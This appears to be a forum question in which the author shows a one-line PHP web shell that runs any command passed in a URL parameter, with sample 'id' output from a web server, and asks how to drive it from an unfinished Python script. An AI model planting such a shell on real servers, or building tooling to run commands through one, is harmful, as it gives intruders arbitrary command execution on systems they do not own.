I created a php file that allow me to execute commands in the url. the php file and the url in the following quotes:
<?php
system($_GET['cmd']);
?>
the url is:
www.somewebsite.com/..././command.php?cmd=id
so here I used the command "id" and the output was:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now, I want to write a python script that pass the command I want as an argument and return the output in the terminal instead of executing the command in the browser.
This is my code so far:
import sys
import requests
import re
import webbrowser
url = 'http://localhost/.././command.php?cmd='
def remote():
webbrowser.open('url')
def main():
remote()
My problem is how to pass an argument as a command? like: python do.py id
Thanks in advance.